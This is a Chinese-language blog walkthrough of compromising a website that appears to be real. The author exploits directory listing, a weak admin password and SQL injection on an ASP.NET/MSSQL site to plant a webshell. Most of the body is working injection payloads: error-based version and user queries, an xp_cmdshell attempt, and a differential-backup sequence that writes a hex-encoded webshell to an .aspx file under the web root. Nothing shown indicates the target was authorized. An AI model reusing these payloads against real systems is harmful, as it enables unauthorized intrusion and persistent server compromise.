1. 程式人生 > >一次差異備份拿shell過程

一次差異備份拿shell過程

shadow 寫入 一次 科普 table 正文 blog 條件 目前

0x00 前言

掃描器掃到了某個網站存在目錄瀏覽,於是便有了本文。。。

知識點科普:

1. 目錄瀏覽

目錄瀏覽在我個人看來是危害較大的一個漏洞,該漏洞是指“在沒有默認文檔的目錄下,列出該目錄下所有文件名及文件信息”,如果站點存在這種錯誤配置,攻擊者如果知道其中目錄名,則可以查看到這些目錄下的文件。

技術分享圖片

2.差異備份條件

  1. 站點絕對路徑
  2. 具有路徑寫入權限
  3. 具備當前數據庫權限

0x01 正文


站點配置不當,導致目錄瀏覽,通過查看首頁的源代碼,翻到了幾個目錄
技術分享圖片
技術分享圖片
隨便訪問了一個,發現會報錯,說明網站管理員並沒有把錯誤信息屏蔽
技術分享圖片
還存在信息泄漏。。
技術分享圖片

但是通常目錄下的文件是需要傳遞參數去執行的,我們並不知道參數名,所以並沒辦法利用


輾轉後到前臺登錄界面查看
技術分享圖片
嘗試了一下,發現密碼處存在註入和弱口令admin,也就是可以用萬能密碼登錄啦
本來想找一處文件上傳,直接getshell,但是發現好像不存在,卻發現了網站使用了kindeditor和網站絕對路徑
技術分享圖片

那麽前面登錄口處存在註入,後臺一般也有很多註入的啦,嘗試找一下,如果有的話,配合絕對路徑可以進行getshell
技術分享圖片
技術分享圖片

okok,發現註入啦,但到目前為止並不知道數據庫是什麽類型,一般aspx+mssql,由於前面發現是可以報錯的,那麽嘗試使用mssql的報錯方式

%‘ and 1=@@version --a

技術分享圖片

mssql數據庫,查看一下當前的用戶身份

%‘ and 1=user --a

技術分享圖片

dbo的權限並不是sa,嘗試一下xp_cmdshell

%‘;exec(‘master..xp_cmdshell whoami‘) --a

技術分享圖片

並沒有開啟xp_cmdshell,且dbo的權限是不足以開啟xp_cmdshell的,那麽只能嘗試使用差異備份的方式來寫入一個webshell

1. 獲取當前數據庫名稱

%‘ and 1=db_name() --a

技術分享圖片

2. 對當前數據庫進行備份

%‘;backup database 數據庫名稱 to disk = ‘絕對路徑‘ with init --a 

如果成功備份,則網頁返回%‘的查詢結果(因為是堆疊且後面語句的執行並不會有返回結果)

3.創建表格,並寫入webshell

%‘;create table cmd(a image) --a
%‘;insert into cmd(a) values (0xxxxx) --a  //webshell的hex值

可以用網上的工具,筆者用以前自己開發的小工具
技術分享圖片

4.進行第二次備份

%‘;backup log 數據庫名稱 to disk = ‘絕對路徑\\abc.aspx‘--

這裏我將webshell寫入子目錄中,因為有目錄瀏覽,能確切看到文件是否產生
技術分享圖片

創建成功後,嘗試連接
技術分享圖片

0x02 後續

  1. 如果能直接使用xp_cmdshell就盡量不要使用差異備份,因為會產生備份文件,如果數據庫很大的話,會造成影響
    技術分享圖片
  2. 有任何錯誤,請斧正

一次差異備份拿shell過程